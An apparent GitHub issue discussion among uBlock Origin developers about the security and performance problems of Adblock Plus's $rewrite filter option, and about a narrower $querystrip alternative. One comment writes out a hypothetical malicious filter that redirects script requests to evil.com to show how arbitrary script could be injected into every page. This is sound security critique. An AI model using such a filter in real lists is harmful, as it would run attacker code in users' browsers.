ABP's $rewrite filter option

[mapx-]

see
https://issues.adblockplus.org/ticket/6592
https://issues.adblockplus.org/ticket/6622

related:
https://issues.adblockplus.org/ticket/6242

Why not:

||server.com/content/*.m3u8?userId=*$rewrite=s/userId=\d+//

[jspenguin2017]

So /(^https?:\/\/[^/])/$script,rewrite=$1.evil.com basically let you inject arbitrary script to every page?
This can go so wrong, I'd say just hard code the few special websites that need this option in uBO-Extra.

Allow only to delete parts of the url?

[gorhill]

Copy/pasting here a comment I made yesterday in Teams after I pondered this for a while:

---

gorhill May 22, 2018, 10:19 AM EDT

I won't implementing this filter option, I see too many issues with it. I am however open to implement a different filter option with similar purpose, but which would not suffer the issues I see with how rewrite has been designed. However, I need to see more cases being solved by such filter option than the just one case mentioned. So far I don't see this.

My concerns:

Security: testing same origin for redirect URL is not enough: both github.com/gorhill/ and github.com/toto/ have the same origin, however the content of both URLs is not controlled by the same person. My hunch tells me this is not good.

Security: even with strictly same origin, a malicious filter list author could add bad stuff to a network request.

Performance: the rewrite= option requires that the filter is a regex. This is bad, as this prevents such filter from being tokenizable, and as a consequence the filter must be tested against every single network request. With uBO this can be somewhat mitigated (not with ABP) by using type option (ex. xmlhttprequest) and party-ness option (ex. third-party), but this is still be a concern for me.

Given these concerns, I see a better way to implement similar option but with a more focused purpose: to remove specific query parameters from a URL:

||content.uplynk.com/ext/*.m3u8?$querystrip=*

Where the querystrip option would mean: "remove all query parameters matching the given lists of tokens or pattern".

Sticking to remove query parameters takes care of the ownership and malicious filter list author issue for the most part -- the filter removes query parameters, it can never rewrite them into something else.

The performance concern no longer exist with such filter, since it does not have to be a regex. The value of the querystrip option dictates which query parameter must be removed. It could be * to remove all of them, or a |-separated list of tokens which tells which specific query parameters should be removed.

Now this does not remove some other concerns I see with rewrite=.

One is that it is designed as a block filter.

What if I really want to block using ||content.uplynk.com/ext/? The way uBO/ABP and all similar-purpose blockers is to stop trying to find a match when a hit is found. If the filter with the rewrite option is found first, the really blocking filter won't be found and the network request will go through. This can be addressed in uBO using the important filter option, but still, my gut tells me there is something wrong about a blocking filter which actually does not block -- I feel more thinking is needed there.

My current thinking is that a querystrip filter applies if and only if the network request was neither blocked or excepted. Not blocked because block filters must result in the network request not being made by the browser, and not excepted because the purpose of exception filters is strictly to counter block filters. So if a network request goes through both block/exception filters unscathed, than it would be fair game for further handling with a querystrip option.

Anyway, as said I still need more than just one case to be an argument for such filter -- the last thing I want is to add technical debt to uBO for little tangible benefits overall. Note that a site could simply convert their GET request into a POST one and this would bypass both rewrite= or querystrip= filters -- so far the case for such filter options is thin.

remove specific query parameters

utm_* stuff (more like privacy and tracking)

querystrip may be not enough.
Apart from the POST requests - some pages use path to encode query parameters, for example amazon¹:

And some other pages use hash 2, 3 (not even handled by network code).

Also ABP code can handle https://server.com/content/foo-with-ads.m3u8 -> .../foo.m3u8

This can go so wrong, I'd say just hard code the few special websites that need this option in uBO-Extra.

👍

and other cases (utm_*) can be handled by specialized URL redirecting extensions.

[jspenguin2017]

@gorhill

Yea, querystrip sounds way better.

Also I don't see how the new ABP build can get pass AMO review since it allow injection of arbitrary script. (Or I'm missed something?)

@gwarser other cases (utm_*) can be handled by specialized URL redirecting extensions.

The background script of uBO-Extra can be made configurable (unlike the content script), so we can include a switch to enable / disable part of its URL rewriting rules.

One is that it is designed as a block filter.

How to make this exception-only option? Request can be blocked by one filter, and then repaired by @@...$querystrip=*.

[gorhill]

then repaired by @@...$querystrip=*

Exception filters also obey the first-match rule. You could end up with another exception filter such that the querystrip filter is not seen, and you also would be unable to except such filter if needed if it is found to cause issue on one site. Hence the need to lookup such filters after having both gone through block/exception filters and finding that none applied before caring about querystrip filters. This means added overhead overall since in basic settings most network requests are neither blocked or excepted.

A scriptlet for that specific purpose seems to be the right approach (an XMLHttpRequest wrapper to remove query parameters), it's injected only on sites where it's needed, can be excepted, and adds no global overhead to network request handling.

[hfiguiere]

Also I don't see how the new ABP build can get pass AMO review since it allow injection of arbitrary script. (Or I'm missed something?)

No it doesn't inject arbitrary scripts.